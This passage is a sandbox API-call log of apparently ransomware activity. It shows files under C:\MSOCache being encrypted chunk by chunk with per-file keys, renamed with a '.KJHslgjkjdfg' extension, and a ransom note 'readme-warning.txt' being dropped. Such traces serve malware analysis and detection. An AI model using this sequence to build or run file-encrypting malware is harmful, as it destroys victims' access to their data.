lpNewFilePointer=0x0) returned 1 [0163.114] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.115] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.115] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.115] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.115] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.125] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.128] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.128] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.129] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.129] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.129] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.129] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.135] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.138] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.138] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.139] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.139] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.139] SetEndOfFile (hFile=0x124) returned 1 [0163.142] GetProcessHeap () returned 0x2ef0000 [0163.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.142] GetProcessHeap () returned 0x2ef0000 [0163.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.142] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.kjhslgjkjdfg")) returned 1 [0163.143] CloseHandle (hObject=0x124) returned 1 [0163.143] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0163.143] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.144] GetProcessHeap () returned 0x2ef0000 [0163.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.144] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.144] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xc, lpOverlapped=0x0) returned 1 [0163.146] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.146] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.146] GetProcessHeap () returned 0x2ef0000 [0163.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0163.146] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0163.146] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.146] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0163.146] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.147] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.147] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.147] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.147] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.147] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.147] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x7c4, lpOverlapped=0x0) returned 1 [0163.147] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x7d0) returned 1 [0163.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.147] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x7d0, lpOverlapped=0x0) returned 1 [0163.147] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.148] SetEndOfFile (hFile=0x124) returned 1 [0163.150] GetProcessHeap () returned 0x2ef0000 [0163.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0163.150] GetProcessHeap () returned 0x2ef0000 [0163.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.150] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0163.150] CloseHandle (hObject=0x124) returned 1 [0163.150] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0163.151] GetProcessHeap () returned 0x2ef0000 [0163.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.151] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0163.151] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.151] GetProcessHeap () returned 0x2ef0000 [0163.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0163.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.151] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0163.151] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.151] GetProcessHeap () returned 0x2ef0000 [0163.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0163.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.151] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0163.151] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.151] GetProcessHeap () returned 0x2ef0000 [0163.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0163.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.151] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0163.151] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.151] GetProcessHeap () returned 0x2ef0000 [0163.152] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0163.152] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.152] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0163.152] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.152] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0163.152] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0163.152] RegCloseKey (hKey=0x124) returned 0x0 [0163.152] GetProcessHeap () returned 0x2ef0000 [0163.152] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0163.152] GetProcessHeap () returned 0x2ef0000 [0163.152] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0163.152] GetProcessHeap () returned 0x2ef0000 [0163.152] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0163.152] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0163.152] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0163.152] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.153] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0163.153] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.153] GetProcessHeap () returned 0x2ef0000 [0163.153] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0163.153] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0163.153] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0163.153] GetProcessHeap () returned 0x2ef0000 [0163.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0163.153] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0163.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.154] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0163.155] CloseHandle (hObject=0x124) returned 1 [0163.155] GetProcessHeap () returned 0x2ef0000 [0163.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0163.155] GetProcessHeap () returned 0x2ef0000 [0163.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0163.155] GetProcessHeap () returned 0x2ef0000 [0163.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0163.155] GetProcessHeap () returned 0x2ef0000 [0163.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.155] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0163.155] GetProcessHeap () returned 0x2ef0000 [0163.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0163.156] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0163.156] GetProcessHeap () returned 0x2ef0000 [0163.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0163.156] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0163.161] GetProcessHeap () returned 0x2ef0000 [0163.161] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0163.161] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.161] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0163.161] GetProcessHeap () returned 0x2ef0000 [0163.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0163.161] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.164] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2511872) returned 1 [0163.164] GetProcessHeap () returned 0x2ef0000 [0163.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.164] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.164] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.164] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.164] GetProcessHeap () returned 0x2ef0000 [0163.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.164] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.164] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.164] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.168] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.168] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.168] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.168] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.168] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.168] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.168] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.168] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.168] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.175] 